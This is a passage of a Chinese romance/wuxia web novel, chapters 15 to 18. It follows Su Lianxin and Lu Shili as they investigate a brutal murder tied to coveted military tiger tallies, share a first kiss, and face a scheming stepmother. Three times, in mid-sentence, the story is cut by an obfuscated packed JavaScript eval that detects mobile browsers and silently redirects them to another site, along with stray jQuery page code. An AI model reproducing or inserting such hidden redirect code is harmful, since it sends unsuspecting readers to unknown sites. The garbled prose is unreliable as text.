“好啊”，陆时礼笑着点了点头，“看来今晚的夜谈，娘子这边有不少秘密要讲了？” 莲心小脸一沉，冲他挥了挥拳，“别顾着说我，跟你比起来，我才是小巫见大巫呢！” “娘子教训的是”，陆时礼轻轻握住了那只手，语中尽是宠溺，“我肯定知无不言言无不尽，只要娘子不困，我可以不眠不休讲上一宿！” “贫嘴！” 莲心嗔怪地瞪他一眼，佯怒地转过了身。 一旁的陆时礼无声笑笑，也紧随其后，帮着一起收拾起用过的杯盘碗碟来了。 突然，院子里响起声低低的惊呼，紧接着便是“扑通”一声轻响，听声音应该是重物落地。 屋内莲心拿着盘子的手一顿，一偏头也刚好对上陆时礼同样惊诧的目光。 两人赶忙放下手中的东西，三步并作两步出了房门，远远便瞧见院西边的矮墙上立着团黑漆漆的人影。 走进了看才发现，那不是别人，正是一身黑衣劲装的安澜，而他怀中被捂住嘴的，应当就是被吓了一跳的莲生。 “安澜，不得无礼，赶快把莲生放开。” 听陆时礼这么一说，安澜愣了片刻，随即赶忙放下了手，对莲生连连说着抱歉。 “叔叔翻墙而来定是为了要事，捂住莲生的嘴也是怕我声张，您不用道歉，我没有什么的。” “小公子年纪轻轻便如此通情达理”，安澜欣喜地摸了摸莲生的小脸，冲莲心笑了笑，“有这样的弟弟，少夫人当真是好福气啊！” “安澜小哥客气了”，莲心搂着扑到怀里的弟弟，看了眼陆时礼略显紧绷的侧脸，“那你们先聊，夜晚风凉，我就带莲生回屋了。” 她刚要转身，衣袖便被人轻轻扯住，想都不用想，肯定是陆时礼。 “从今往后你我之间没有秘密，正好外面风清气爽，留下一起听听，也好出出主意。” 莲心心下一暖，便也不再推辞，又牵着弟弟的手，走回了他的身畔。 安澜显然颇感诧异，但也只是愣了一瞬，很快便收回了视线，沉声开了口，声音中满是难以掩饰的焦急。 “周临渊的尸首在龙啸山顶找到了，死状凄惨可怖，五指被生生斩断，全身上下寻不到一块好肉。” 这时候，外出寻子的周伯正好翻墙而入，听到这话，扑通一下栽倒在地。 莲心赶忙上前去扶，见他已经不省人事，只得和莲生一左一右把人往屋里搀扶。 留在原地的陆时礼沉默片刻，眼中闪过一丝寒光。 “如此惨无人道，莫非是为了逼供？” 15. 归根 据苏醒过来的周伯所言，他儿子周临渊在江州做的也是镖局生意。 而他不惜冒险也要见儿子一面，为的还是那件倭寇疑似要在福州所寻找之物。 听闻福州惨遭倭寇屠城后，周临渊担心父亲安危，便急急往那边去了一封信，除了问平安外，还不经意提起了一桩事发半月前的奇闻。 那时周临渊走镖经过百里之外的淄河，在一家茶铺偶遇了几名行商，因着其中唯一的少女容貌出众，便多看了几眼。 就在这时，那桌的一个壮硕男子用倭语低声说了句话，随后那少女也笑着举杯，随着动作，包裹在手臂上的轻纱滑落一块，而印在雪白肌肤上的，赫然是只猩红的蜘蛛腿。 毕竟也走了近十年镖，走南闯北见的多了，周临渊连蒙带猜，也将那句话琢磨了个大概，应当是“有那东西就真能调大曜的兵？” 想到这里的周临渊顿觉毛骨悚然，越看越觉得那伙人不对，特别是那少女手臂的刺青，很是像近几年闹得人心惶惶的噬野教。 就这样，直到那伙人没了踪影，时隔近一个月回想起来，周临渊还是向父亲坦言自己吓得不轻，午夜梦回总会感觉有只血红的蜘蛛要将他吞噬。 可父子俩刚说会儿话没多久，巷子里就不知从哪钻出来几个黑衣人，武艺算不上顶好，但却会一些飞沙走石的邪术，把周临渊给截走了。 听完这件事后，几人心中大致有了决定。 能够如此迅速地截走周临渊博，并采用血腥残忍手段杀人抛尸，只可能是狗急跳墙的那伙倭人，而他们想要逼问的，很可能是与兵符有关物件的下落。 大曜六十九年，先皇正值盛年，亲自率兵出征北疆，不仅大破敌军连胜之势，还一鼓作气拿下失去已久的十余座城池。 北疆王为大曜军的士气所慑，亲自遣使臣送来数箱珍宝，并主动提出归顺条约，愿与大曜百年交好。 先皇大喜，特请福州第一铸铁匠人，也就是莲心的太公出山，用北疆进贡的赤金玄铁打造了一对云纹虎符。 据传言此虎符汲取天地之灵气，又受到真龙天子的一滴精血滋养，分可各调南北一方全军，若是合二为一，所生之力能让全域为之震颤。 说来说去，其实哪有那么玄乎，这两枚虎符所具有的，不过还是能调令全军的权力。 和平年代还没有什么，毕竟生杀大权都握在天子一人手里，再加上先皇文武双全，所以只是作为大家茶余饭后的闲谈，没有人真正放在心上。 可好景不长，眼瞅着大曜刚要走入正轨，有了几分建朝之初的盛景，可没想到先皇突然缠绵病榻，前后不过半年便撒手人寰了。 如今的天子萧镇是先帝膝下的独子，自十九岁加冕临朝后，已有十三年的光景。 如今已过而立之年的天子，并没有像他父皇期望的那样肩扛日月，反而仍沉湎于玩乐，不仅疏远了肱骨老臣，还偏偏重用只知阿谀奉承的宦官。 在首席大宦官马富的操控下，但凡意见相左的朝臣都贬官的贬官，罢免的罢免，死的死，关的关。 放眼望去，原本风清气正的朝廷，成了只知弄权夺势小人的一言堂。 毕竟庙堂之事与江湖甚远，寻常百姓其实并不关心皇帝宠信谁，同样也不留心高官们又做了什么决定，出台了什么制度。 他们唯一关注的，只有日子稳不稳定，地里又熟了多少粮食，以及又发了多少钱票，能添上几件衣物棉被等等。 说到底，无论上面朝中的局势怎么变，只要还能安安稳稳的过自己的小日子，谁当权谁得势，他们没有半点关心。 只可惜，这么简单的道理，那些层层选拔的文官武将懂，但只知巧言令色的宦官们，却全然不知晓。 这些在底层受过屈辱打骂的“不全之人”，凌空一跃翻身成了天子近臣之后，全然摒弃了自己的来时路，反过来为了利益，不择手段，所作所为毫无仁义道德可言。 正所谓“水能载舟亦能覆舟”，原本以底层百姓支持起家的大曜朝，现如今也因着帝王昏聩，慢慢的失了民心。 特别是五年前，天子听信了马富的谗言，崇尚修仙之术，不仅将朝堂也布置成了炼丹的道场，还派遣使臣前往东倭，寻求长生不老之法。 这一去可不要紧，还真让东倭首领引他们去了一座海上孤岛，称为“蓬莱神岛”，相传是秦始皇未能寻得的人间仙境，其上的神水仙桃有延年益寿之功效。 连老百姓都知道，若真有他们说的这么神，那东倭岂不是近水楼台，又怎么会寸守在弹丸之地，仅仅只有不到大曜一个城的人口。 许是感到岁月流逝，惧怕年华不再，求神若渴的天子自我蒙蔽了双眼，为了早日得道获得长生，甚至不惜同意了东倭那边占据南海通商十五城的要求。 幸好朝中仍有肱骨老臣寸步不让，太子太傅甚至自刎于问政台，连太后都亲自出宫劝阻，这才勉强拦住了天子，没有签订书面上的协定。 大曜这边松了口气，可眼见到嘴鸭子飞了的东倭哪里肯罢休，见与马富内外勾结不成，索性也不再装了，直接将战船开到南海，想要靠武力夺城。 可他显然低估了南海驻军保家卫国的决心，跟别提还有福州总督陆毓的用兵如神，一套“银枪鸳鸯阵“下来，直让陆家军把倭人给打得落花流水。 眼瞧着福州这边讨不到半点好处，而由武家军把守的潞州和隋家军把守的涿州，也和远在福州的陆督军默契配合，三地如同砌起了铜墙铁壁，密不透风。 眼见持续两年南海海战，大曜这方已经转守为攻，正要一鼓作气之时—— 京城皇宫中的天子却派驿官八百里加急，送来了一道鸣金收兵的命令，甚至还主动修书一封与东倭言和。 大曜军将不解，百姓不解，也许连东倭都会庆幸，遇上这样一位软弱昏庸的天子，当真是上天垂怜，要给他们一次卷土重来的机会。 这样憋屈的日子又过了不到一年，也许是苍天感念帝王无道布下怒火，又或者是空手而归的倭寇又起歹心，反正大曜平静的日子，也走到了尽头。 不是在地方突然爆发、死伤无数的瘟疫，就是连年无雨、颗粒无收的旱灾，百姓们就这样在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156369|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疫病与饥荒中苦苦挣扎，流离失所已是常态。 莲心还在福州的时候，也亲眼见过不少逃难而来的灾民，他们一个个形容枯槁、面黄肌瘦，除了奄奄一息的老人外，最多的便是妇孺儿童。 南境因着有几位将军在，虽然疫病频发但尚且还算是安宁，可北地的百姓就没有这么幸运了。 匈奴和北疆匈奴早就蠢蠢欲动，见大曜此时因疫病和饥荒人心惶惶，更是趁乱落井下石，纷纷南下频繁侵扰边境。 眼见生存都是奢望，底层的穷苦百姓积压已久的怒火也爆发出来，不少郁郁不得志的武官干脆辞了官职，联合家乡父老想要揭竿而起。 于是乎，由武官、农民各自领导的民间团体，也在大曜各地纷纷而起，喊的是“驱初外敌，复兴大曜”，可实际做的，却也只是和官军的自相残杀。 这下那两枚号称能使天地震颤的虎符，变成了海内外梦寐以求之物。 眼见形势越来也不好，饶是一心修道的天子也慌了心神，亲自写下了“字字泣血”的罪己诏。不仅开辟了大曜首个自行问罪的先河。 还因为朝中遍无能用之人，特下诏书召地方一品官员入京，商讨化解内忧外患之策。 这不，陆时礼的父亲陆珺，便是在一月前奉令入京的。 思绪理到这里，事情的基本脉络已经有了眉目。 可奇怪的是，四人兵分三路往下查了大半个月，愣是没有丝毫线索，别说痕迹，连个毛儿都没有找到。 这天夜里，几人又在南院闲置的那间厢房碰了头，商讨各自进展以及接下来的安排。 “江州能去的镖局我也都去了，当今形势不好，师傅们大多没有多少生意，送的也基本都是临城的商货。我查了又查，跟周大哥打过交道的都没发现什么异常。” 莲心这边关于镖局没有进展，周伯和安澜在龙啸山也什么都没找到，场面一度沉郁得异常安静。 作为几人中唯一的一点希望，陆时礼深吸口气，无可奈何的摇了摇头。 “很遗憾，我暗中动员书苑的同学进行走访，茶馆酒坊都问了个遍，也仍是没有找到周大哥口中的那行人。” 意料之中的答案，但几人眼中好不容易燃起的一点火苗，还是慢慢暗淡了下去。 “大家这段时日都辛苦了”，莲心给众人各倒了一杯茶，“对方预谋而来，且始终藏在暗处，我们人数又少，一时找不到线索也是正常的。” 周伯也深吸了一口气，“莲心说的对，力也尽了，急不得只能慢慢来。老头子这些天也给你们这些小辈添了不少麻烦。来，咱干一杯，以茶代酒也算给我这糟老头送个行！” “周伯这是要走？”陆时礼急忙问道。 “落叶归根啊”，周伯苦苦一笑，“不管报没报仇，渊儿的骨灰怎么也得埋回祖坟。更何况到了这把年纪，不管那伙人罢不罢休，我死也得死在福州的土地上。” 见他这么说，几人也没再阻拦。 莲心端起茶杯遥遥一碰。 “那就祝周伯一路顺风，静候我们这边的好消息！” 16. 轻吻 周伯离开后，本就空旷的南院便显得更加安静。 除了每周学堂放的一天假，会将小莲生接来吃上顿饭以外，其余时间这偌大的院子里，便只有莲心和陆时礼两人。 准确的说，大多数时候陆时礼也不在这里，白日里要在学苑读书，而下学回来基本已是傍晚。 所以从外面暗中探查回来后，莲心便会悠闲地坐在梨树下的藤椅上，学着陆时礼闲暇时的样子，一边小口啜着茶，一边借着午后的暖阳看看书。 虽然在吃食上处处克扣，约莫因着陆大人的命令，在读书方面饶是陆夫人心有不忿，但也不敢大张旗鼓为难，毕竟耽误了陆家子嗣的学业的罪名，可不是陆夫人能担当得起的。 起初看到书斋时，莲心着实吃了一惊。 倒不是说屋室有多么精美，装潢有多么讲究。 恰相反，整间屋子与卧房及主厅一样，说好听点是古朴，往难听了说那便是简陋。 柏树做的架子铺满了四面墙，除了两盆绿藤顺着杆子向上爬之外，再没有别的什么装饰。 灰白的墙面与裂缝的青砖，别说是书香世家了，莲心甚至觉得，自己没读过几本书的爹布置的书房，虽然只是为了摆设，但也比这要好上太多。 可简陋的布局之下，也处处暗含着主人星星点点的小巧思。 无论是被码放整整齐齐的书册，还是屋内弥漫开来的淡淡樟脑香，抑或夹在书内写得密密麻麻的注脚，都足矣体现对这些藏书的珍视。 当陆时礼小心地展平书卷，认认真真地凝神阅读时，莲心第一次感受到了书籍的神圣，有些理解古今为何那么多人甘愿与书为伴。 陋室不陋，惟吾德馨。 不过欣赏归欣赏，在知道里面混杂着不少古籍孤本后，莲心很少随意翻动，就连轻扫灰尘时都会屏气凝神，生怕一个不小心就扯下一角。 她虽然算不上有文化，但至少识字明理，也懂得那一本本书中凝结的都是笔者的心血，无论是否名扬天下，都该被后世好好珍藏。 不乱动归不乱动，但每次陆时礼挑灯夜读时，练完功的莲心闲着也是闲着，干脆也会挑两本出来看。 许是天性使然，无论从前在家爹娘怎么耳提面命，莲心也始终对于诗词歌赋不太感冒，比起那些极致的含蓄与深沉，她还是更喜欢志怪奇闻。 随着年岁的增加，这股子爱冒险的精神不但没有削弱，反而随着眼界的开阔更加突出。 这不，她现在拿在手里的，便是好不容易才买到的新书，类型也算的上新奇罕见，是一本山水游记，叫《徐霞客游记》。 其实陆时礼也给她列过一张书单，上面都是他觉得比较可读的人物小传，从一代女皇到布衣天子，有底层英雄也有豪杰列女，内容可谓是包罗万象。 比起那些晦涩难懂的古籍，这些几乎算得上是白话，读起来不费脑也伤身。 有的作者不仅笔力一绝，语言也十分诙谐幽默，在让人会心一笑的小故事中，就埋藏了富含深意的道理。 莲心觉着，倒有几分像上层阶级喜欢的画本子。 可这样的书读一两本还好，读得多了，莲心便觉着有些乏味起来，那些初觉生动的情节也多有雷同之处，越来越提不起往下深究的兴致。 传记所记录的多为英雄人物，可很多事情只有当事人才清楚，笔者很多又都是后人，只能从史官加以润色的文字中窥见一二。 更何况为了情节的跌宕完整，笔者大多还会进行一些想象虚构，久而久之，行文框架多是小人物锲而不舍最终成才的套路，很难让读者共情。 读着读着，莲心也终于明白这些传记之所以被寻常人家束之高阁的原因。 普通出身想要往上爬，也就只有科举和从军这两条路，而人海泛泛，每年能脱颖而出的不过凤毛麟角，其中还有不少是世家子弟。 眼界能力是一方面，人脉渠道也同样不容小觑，每年寒窗苦读和在军中摸爬滚打的那么多，真正出自寒门的却也只占一小部分。 阶层难改，一官难求，传世人物的生平听听也就算了，老百姓们更多的是想怎么尽量过好自己的小日子，所求不过吹饱穿暖，家人平安团聚而已。 有些时候，莲心觉着自己还是有几分聪颖在的，这不，待她现下说完这番见解，果然看到陆时礼难掩欣赏的神情。 只见暖黄的烛火投在他白皙的面颊上，让他整个人少了点清雅俊秀的疏离之感，披着外衫的一手执着笔，宠溺地笑望着她，语中含着淡淡的嗔怪。 “你自己贪玩就算了，还扯出这些个道理来。若全像你这么说，那全天下岂不是要有一大半目不识丁之人了？” “我贪玩是贪玩，但道理就是这个道理”，莲心调皮地眨了眨眼。 “整日里自己的事都忙不过来，好不容易闲了点，谁还愿意读那些自找苦吃？有那功夫还不如读读话本，最起码有乐子，自己也能高兴高兴！” 她这话说得，饶是能言善辩如陆时礼，也没了反驳的心思。 诚然，书山漫漫只待终身求索，但人生在世不过短短数十载，像他这种有家庭支持，可以潜心静读的仅有少数。 剩下的不仅要为生计奔波，还会面对各种各样的问题，生存已是焦头烂额，又如何能一概而论，苛求他们潜心研学呢？ 其实，比起渊博出众的才学，在莲心看来，陆时礼更为难能可贵的，是愿意设身处地为他人考量。 没有一些文人身上的自视清高，也没有出身世家大族的自命不凡，他的心始终是平和的，对事对物都会秉持尊重。 “陆嘉文”，这么想着，莲心托腮看着他俊逸的侧脸，轻轻唤了一声。 又用行书行云流水落下一字，陆时礼才抬起头，笑着瞥了她一眼，略有无奈地抬手撑了撑额，长叹了一口气。 “你若是再这般瞧着我，这篇策论怕是无论如何，我都写不下去了。” 莲心在家时也上过学堂，知晓完不成功课挨骂事小，严重的话可是要挨老先生的板子的。 想到这，再看看陆时礼的小身板，她不禁有了几分担忧，忙又给添了杯茶，小声地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156370|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口问。“是不是我老说话打扰你了？” 话问出口的同时，莲心也在心中责怪自己怎么就坐不住，懊恼之余赶忙站起身子，还未等迈步却被身后之人轻轻拉住。 “你先写，我正好想起还有一套吟风拳好久没练了，正好到院子里打一打，免得时日长生疏了。” 莲心不明所以，以为他是怕自己秋夜出门着了风寒，错愕一瞬后，便笑着开口解释。 没成想待她说完，手腕不仅没有被松开，反而被握得更近，炽热的温度通过那一小块肌肤迅速蔓延，霎时间连空气都带着灼烧的温度。 然而比起这些，莲心更加担心眼前的陆时礼，隐隐觉得他有点不对，似乎是真生病了。 若非如此，怎么双颊比涂了胭脂还要红？ 还有那双微微上挑的桃花眼，此刻也染上几分赤色，眼波流转间，恍若夏日池畔的盈盈碧水，含着几分她看不透的情绪。 也顾不上许多，她担忧地上前半步，隔着一拳的距离探了探他的额头，“是不是发烧了，可有哪里不舒服？” 出乎意料的是，指尖触摸的肌肤冰凉细腻，并没有发热的迹象。 转瞬即逝的触碰，显然让两人都是一僵。 见他无恙，莲心的手刚收回一半，却在半空中被那双修长的手轻轻包住，下一秒，青年身上淡淡的莲子香扑面而来。 莲心的心先是一颤，随即只能感到四肢僵麻无法动弹，直到清浅灼热的呼吸喷薄在面颊时，她仍瞪大双眼，不说话也不躲避。 就那样看着那张俊逸的面容在眼前不断放大，与那双漂亮黑眸中自己小小的倒影静静对视。 因着刚刚及笄父母便相继离世，莲心对于男女之事半点都不了解，再加上冲喜也是临时起意，所以看着陆时礼俯身过来，除了羞涩，她更多的还是好奇。 喜欢捧着猎奇话本看个津津有味的少女，对所有未知领域都怀揣着慢慢的好奇心，男女之事也不例外。 怔了一瞬后，陆时礼也想到了这点，看着莲心那双充满着好奇的杏眼一眨一眨，一口气哽在喉头，哭笑不得。 他这个小娘子，除了长了个清冷聪慧的模样，性子还真是天真懵懂又好奇呢！ “真拿你半点没办法……” 既然气氛已经烘托到这了，饶是隐隐生出一种诱骗天真少女的罪恶感，但陆时礼还是在心中重复几遍已经拜堂了，将头又低了几分。 右手仍握着那双柔软的素手，左手轻轻覆上那双扰他心神的眸子，微阖双目，于那粉红的唇角，慢慢落下清浅一吻。 他吻得缓慢，一触即分，神情间满是虔诚，仿佛如获至宝的凡子，小心翼翼，唯恐惊扰了怀中仙人。 待他慢慢收拢手指，莲心才终于恢复视线，唇畔宛若蜻蜓点水的触碰让她有些惶惑，“你这是……什么意思？” 陆时礼眸色沉沉，凝望那双含着不解的杏眼，强自控制不去看近在咫尺的殷红唇瓣，并没有直接回答她的问题。 “若明年殿试我拔得头筹，可否……与你共享登科之喜？” 17. 一搏 恍若一脚跌入了云层里，软绵绵的感觉直到晌午时分，都没有半分消退。 幸好陆时礼早早去了学苑，不然面对那样一双目光，莲心更不知自己要何时才能恢复正常。 简单就着茶水吃过几块点心后，日头已经微微西斜，透过日渐稀薄的黄叶，洋洋洒洒地落在脸上，暖融融又不十分刺眼，倒更添上了些惬意。 捧着读了大半的游记看了一会，莲心忽然觉得眼皮有几分沉。 抬手慢慢打了个哈欠，索性将书盖在眼上，遮住了零零碎碎的光线，就那样蜷在藤椅里，舒舒服服的合眼小憩起来。 方才有事情做还不觉得，这一闭上眼睛，脑中浮现的，却仍旧是当日那血茫茫的一片。 嘶吼声，求饶声，兵戈声，在耳边接连响起，到最后已经全都融在一起。 连同漫天的尸山血海一起，血腥而惨烈，分不清辨不明。 天地苍茫一片，尽是漫漫赤红。 昏暗的视野逐渐恢复清明，首先映入眼帘的，是父亲那张尽染血污的英武面容。 平日里那双满怀慈祥的眼睛，此刻瞪得又大又圆，透露着满满的不屈和遗憾。 即使到了生命的尽头，即使身上已经被大大小小的长矛刺穿，她的父亲仍旧没有退缩，流血的手臂紧紧握着那杆伴随他走南闯北的长枪，昂首挺立着身躯，直到生命的最后一刻。 与父亲一样，平日里柔柔弱弱，总喜欢侍弄花草的母亲此刻也是满眼坚定，丝毫不见半分畏惧之色，手中那柄滴血的长剑斩杀了数十个倭人。 眼见着两个倭人破土而出，尖锐的长矛直直刺向那道浸染鲜血的素衫，莲心全身的血液都凝固起来，恨不得马上从池底跃出，手刃那两个偷袭母亲的倭人。 “娘——” 可即便是重复了千百遍的幻境，她还是没有一次作出过改变，哪怕只是不眼睁睁看着母亲吐血而倒，都无力做到。 池底的莲叶似乎活了过来，连同莲藕一起，丝丝缕缕地用力缠住她的脚踝，无论她是扯是拽，用砍用咬，都坚固异常，越缠越紧。 和现实中的那日一样，小莲生紧紧拽住她的脚踝，豆大的眼泪落在咸咸的池水中，连同他不住摇头的哀求，如有千钧之重，却发不出半点声音。 看着幼弟苍白的小脸，耳边突然回响起了临别之际母亲的嘱托，莲心终于停下了挣扎，躲在一水之隔的池底，握住弟弟的手，霎时间泪如泉涌。 “向前走，莫回头”，娘，你的意思莲心全都明白。 只是恐怕要让您失望了，昔日的灭门之仇太深，哪怕往后尽是平坦的鲜花大道，午夜梦回之际令人痛心的一幕幕还是会反复在眼前重现。 血海深仇，家国之恨，饶是再苦再难，莲心不能忘，也不敢忘。 您和我爹都盼着我俩摒弃旧仇，我又何尝不知背负深仇大恨的痛苦，又如何不明白你们为我俩计划深远的考量？ 可就如爹时常所说，“未来莫测，只争朝夕”，就算他们盘根错节，就算复仇之路漫漫无际，我苏莲心等得起，也愿意等。 既然他们筹划良久，那我也不着急，只要让我寻到一点线索，便要让他们看看，我大曜子孙并不是可以肆意屠戮的。 刀山火海，枪林弹雨，苏家后辈中有我一人承担便够了，莲心有信心可以了却此仇。 该办的事，天打雷劈都得办。 爹，娘，女儿心意已决，愿您二老在天之灵保佑，可以早日惩处奸邪还大曜太平。 不过还有件事，也许可以让您二老略感安慰，那就是小莲生聪颖好学，这段日子个子也长了不少，还天天追在陆嘉文身后问这问那呢！ 当想到“陆嘉文”三个字时，眼前猩红的场景漫漫后移，视线中出现了一道木门，透过缝隙隐约可以看到暖黄的光线，不刺眼，但又足够温馨。 鬼使神差的，莲心的手不受控制地抬起，搭在门上轻轻一推，木门便“吱呀”一下应声而开。 见她直接推门而入，屋内之人却也不惊不恼，恰相反，当他慢慢转过挺直的背脊后，朝莲心挑了挑眉，柔情一笑。 而他接下来所说的，正是从昨夜开始便一直扰乱莲心心神的那句。 “可否……与你共享登科之喜？” 而此刻的莲心仍和昨夜一样，傻乎乎地点了点头，道。 “夫妻之间有福同享有难同当，你若能金榜题名，不仅是我，连小莲生都是要乐开了花呢！” 可她笑着说完，却看到陆时礼用异样的眼神瞧了她一眼，很显然，对于这个回答并不十分满意。 但莲心想到的确实只有这些，这还是尽量斟酌语句说的呢，平时简简单单的一个“好”字，扩展成这样诚恳的话他还不满意，那也是没有办法的事了。 她这边丈二和尚摸不着头脑，陆时礼那边也没有好到哪里去。 起初以为这小姑娘是在顾左右而言他，但对视一会才发现又是自己多心了，人家根本就是没听出他的言外之意，只当是送祝福呢。 想到了这，积郁的那口不爽之气顿时便烟消云散，对上那双清亮亮的大眼睛，陆时礼只觉哭笑不得。 心道，挺聪颖的一个人，怎么一扯上感情，就后知后觉成这样？ 可自己的小娘子，又临逢天降横祸，岳母未能亲自教导的，也就只能交由他来一点点教。 迟钝就迟钝点吧，陆时礼这样想。 反正他自己也不是个心急的人，在未取得功名之前，也无力给她更多保证和支持，所以就这样循序渐进着慢慢来也挺好。 只要心中有着彼此，何尝不是地久天长？ “我说的不是这个意思”，这样想着，他慢慢开了口，语中有羞涩，还有着淡淡的笑意。 “常言道人生四大喜，分别是‘久旱逢甘霖、他乡遇故知、洞房花烛夜、金榜题名时’”，他深吸口气，凝视着莲心的双眼。 “于我而言，这后两喜，此生唯有一次尔。如果我说今生唯愿与你共度，你愿不愿意，愿不愿意同我一道？” 莲心呼吸突地一滞，好半天才反应过来，娇媚的红霞顺间爬满脸颊。 他这是……在表白吗？ 犹豫一瞬，莲心才轻声问出了自己的疑惑，“可以是可以，不过我们不都拜堂成亲过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158118|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗，这洞房花烛夜还可以有多次吗？” 鸦雀无声，但她分明从陆时礼的眼中看到了天崩地裂，不过眼瞅着天色渐晚，两人也没有过多进行掰扯。 收拾一番后，便各自蜷缩在床的一角，怀着那点小心事，一觉到了天明。 然而这次并没有给她酣甜入梦的机会，眼瞅着两番梦境慢慢消退，耳边突然传来了一声柔柔的呼叫。 “少夫人，少夫人……？” 且轻且柔，随着手臂传来的轻微疼痛，莲心知道，这次并不是梦了。 因为在梦中，她可以被唤作莲心，阿姐，但没有一次被叫作少夫人。 你看，即便是梦，也都会重复记忆深处的场景，将那些极痛极甜的情景一遍遍在眼前重演。 至于那些轻描淡写的事，因着没有放在心里，也就不会再有重现的必要。 被 这样连拍了两下，莲心才施施然直起身子，眯着有些惺忪的睡眼，见面前站着的是桃华，轻舒了一口气。 “怎么，就这么信任我？” 将她这番小动作收至眼底的桃华抿唇一笑，那双清冷的眉眼也透出了几分淡淡的喜气，仍旧是那副拒人千里之外的气质，却不再让莲心觉得生疏。 恰相反，比起府中面含浅笑的丫鬟小厮，在她看来，全都没有眼前这个清清冷冷的桃华姑娘心境清透。 许是因为都喜爱桃粉衣衫，又抑或是初次见面时少女不动声色的提点，饶是没见过几面，但莲心就是莫名觉得她有种熟悉感，愿意对她亲近。 这么想着，她也露齿一笑，还眨了眨眼睛，“君子论迹不论心，比起眼睛，我更喜欢用这里看人”，说罢她抬起手，轻轻点了一下心口的位置。 见她这般说，桃华愣了一瞬，随即又敛去一闪而过的笑意，恢复了往日淡然疏离的姿态，朝她俯身行了一礼。 “夫人那边请您过去一叙。既然您已经醒了，那便不多耽误功夫了，还要劳烦少夫人随奴婢走一遭。” 饶是她没说原因，但莲心还是猜到了，这是又要兴师问罪了。 由夏至秋，算起来从她过门到现在，已是两月有余，而陆时礼的病却始终都还是老样子，不见好但同样也没加重。 初冬将至，南北的疫病饥荒也渐渐有了缓和之态，眼瞅着陆大人就要带亲子回来共贺新春，家中的这位陆夫人难免会有些着急。 一旦陆大人回来，那她手中的权力便会被严重削弱，这样一来，不仅预谋已久铲除养子的计划会付诸东流，甚至连日后的殊荣都难以保住。 正所谓色衰而爱迟，对于年华不再的陆夫人来说，她能依靠的，只有自己那个不太争气的儿子。 陆大人近两年也一直没闲着，收侍妾那都是家常便饭，就算他没做这些，陆夫人也清楚，自己的这个丈夫是靠不住的。 他的心太大，装满了天下苍生，江山社稷；但同样又太小，只能给情情爱爱流出一小块位置，而她，见识过了他的无情，也早已过了可以争宠的年纪。 正如莲心所料，陆夫人现在想的，只有放手一搏。 既决胜负，又定生死！ 18. 旧识 出乎莲心预料的是，她并没有如往常那样挨骂，反而遭到了前所未有的礼遇。 这两个多月下来，陆夫人对她也有了不少了解，知道她要么就是装傻充愣，要么就是低头认错。 但不管对她恶语相向，还是苦口婆心温言相劝，莲心都是照单全收，始终一副乖顺有礼的模样。 一两次还好，这么些次下来饶是她不直接言明，陆夫人又岂会猜不透那点小心思？ 什么办事不力，不过就是敷衍她罢了，说白了她这位新过门的儿媳不是没有心，恰相反，那七窍玲珑心生得比谁都好。 只不过，是偏偏不往正地方用而已。 刚用藏红花染过的指尖鲜艳饱满，陆夫人一边顺着怀里白猫的脖颈，一面眯起眼对堂下的儿媳浅浅一笑，语气中含着几分亲近。 “我这继母的身份不比其他，况且又与嘉文因误会生了不少嫌隙。这段时日晨昏定省都是你自己个儿，心里头藏了不少苦吧？” 按理说听了这番关切的话就算不热泪盈眶，也应该心头一暖，可莲心却两者皆没有，反而被那双眼睛看得有些心慌。 总觉得这话里话外怪怪的，说不出哪里不对劲，就好像是以退为进的拳法，看似是落了下风，可实则却还是在暗暗进攻。 “有娘关照，就算再难也不觉着苦。更何况比起流离失所，能留在府里已是我莫大的幸运，莲心福薄，不敢再奢求其他。” 高手过招，只在须臾之间，借力打力，亦算得上是一记妙招。 看着陆夫人明显僵了一瞬的殷红唇畔，莲心不动声色勾出抹清浅的笑，端起茶杯抿了一抿。 “你能这样想，为娘也很是欣慰”，到底姜还是老的辣，陆夫人素手微蜷，转而便又抛出一招。 “越是高门大户，便越有金碧辉煌下的腌臜不堪”，她挑了挑精心描摹的秀眉，“待日后嘉文高中，府中少不了要再进新人，到那时姐妹间说说笑笑，日子也就好过多了。” 这话的言外之意，无非是敲打她的出身，小门小户的镖师之女，为了冲喜匆匆过门作正妻可以。 可一旦陆时礼明年科举高中，那她的这个身份显然就配不上了。 勉强做个妾室可以，正妻之位肯定是要从门当户对的世家小姐里重新选择的。 莲心不置可否的轻叹一声，心里想的却是，这位陆夫人当真是着急了，连攻心计都搬了出来。 对招之时最忌攻心，既然您不讲武德，那也别怪我不尊老了！ 